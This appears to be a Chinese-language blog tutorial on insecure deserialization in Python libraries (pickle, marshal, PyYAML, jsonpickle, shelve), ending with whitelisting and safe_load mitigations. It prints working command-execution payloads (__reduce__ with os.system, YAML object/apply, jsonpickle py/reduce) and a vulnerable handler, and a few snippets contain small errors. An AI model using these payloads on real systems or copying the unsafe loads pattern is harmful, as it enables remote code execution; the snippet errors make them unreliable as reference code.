pickle模块实现了用于对Python对象结构进行序列化和反序列化的二进制协议。可造成威胁的一般是pickle.load
和pickle.loads
,或者面向对象的反序列化类pickle.Unpickler
。
def ser():
ser = request.values.get('ser')
s = pickle.loads(ser)
简单的利用是使用__reduce__
,生成利用代码
import pickle,os
class exp(object):
def __reduce__(self):
return (os.system,('whoami',))
e = exp()
pickle.dumps(e)
之前写的关于pickle的漏洞使用等:https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
Marshal
库序列化code对象,使用的load
和loads
方法会导致问题
import pickle,builtins,pickletools,base64
import marshal
import urllib
def foo():
import os
def fib(n):
if n <= 2:
return n
return fib(n-1) + fib(n-2)
print (fib(5))
try:
pickle.dumps(foo.__code__)
except Exception as e:
print(e)
code_serialized = base64.b64encode(marshal.dumps(foo.__code__))
code_unserialized = types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), '')()
print(code_unserialized)
PyYAML
库是yaml标记语言的python实现库,支持yaml格式的语言,有自己的实现来进行yaml格式的解析。yaml有一套对象转化规则,pyyaml在解析数据的时候遇到特定格式数据会自动转换。
比如,使用如下转换,实际是使用python模块执行了命令
cp = "!!python/object/apply:subprocess.check_output [[ls]]"
yaml.load(cp)
可以构造命令的python语法,有!!python/object/apply
和!!python/object/new
两种。!!python/object
接收的是一个dict类型的对象属性。并不接收args的列表参数。
jsonpickle
用于将任意对象序列化为JSON的Python库。该对象必须可以通过模块进行全局访问,并且必须继承自对象(又称新类)。
创建一个对象:
class Thing(object):
def __init__(self, name):
self.name = name
obj = Thing('Awesome')
使用Jsonpickle
将对象转换为JSON字符串:
import jsonpickle
frozen = jsonpickle.encode(obj)
使用Jsonpickle
从JSON字符串重新创建Python对象:
thawed = jsonpickle.decode(frozen)
可以使用类似的利用方式:
>>> class Person(object):
... def __reduce__(self):
... return (__import__('os').system, ('whoami',))
...
>>> admin = Person()
jsonpickle.encode(admin)
'{"py/reduce": [{"py/function": "nt.system"}, {"py/tuple": ["whoami"]}]}'
>>> s = jsonpickle.encode(admin)
>>> jsonpickle.decode(s)
misaki\user
Shelve
是对象持久化保存方法,将对象保存到文件里面,缺省(即默认)的数据存储文件是二进制的。
由于shelve是使用pickle来序列化数据,所以可以使用pickle的方式来执行命令
import shelve
import os
class exp(object):
def __reduce__(self):
return (os.system('whoami'))
file = shelve.open("test")
file['exp'] = exp()
其中大部分反序列化库漏洞都是因为使用了pickle
来做序列化和反序列化导致的,对于pickle,官方建议是重写Unpickler.find_class()
设置白名单的方式来限制可以使用的模块方法,避免危险模块的引入。
import io
import pickle
safe_builtins = { #白名单
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
至于PyYAML,官方给了一个safe_load
的函数和safe_load_all
,可以安全的使用,因为它只解析进制格式类的转换。
反序列化最好不要直接去输入的参数进行,如果必须,可以采用加密签名的方式来达到输入的合法性和正确性。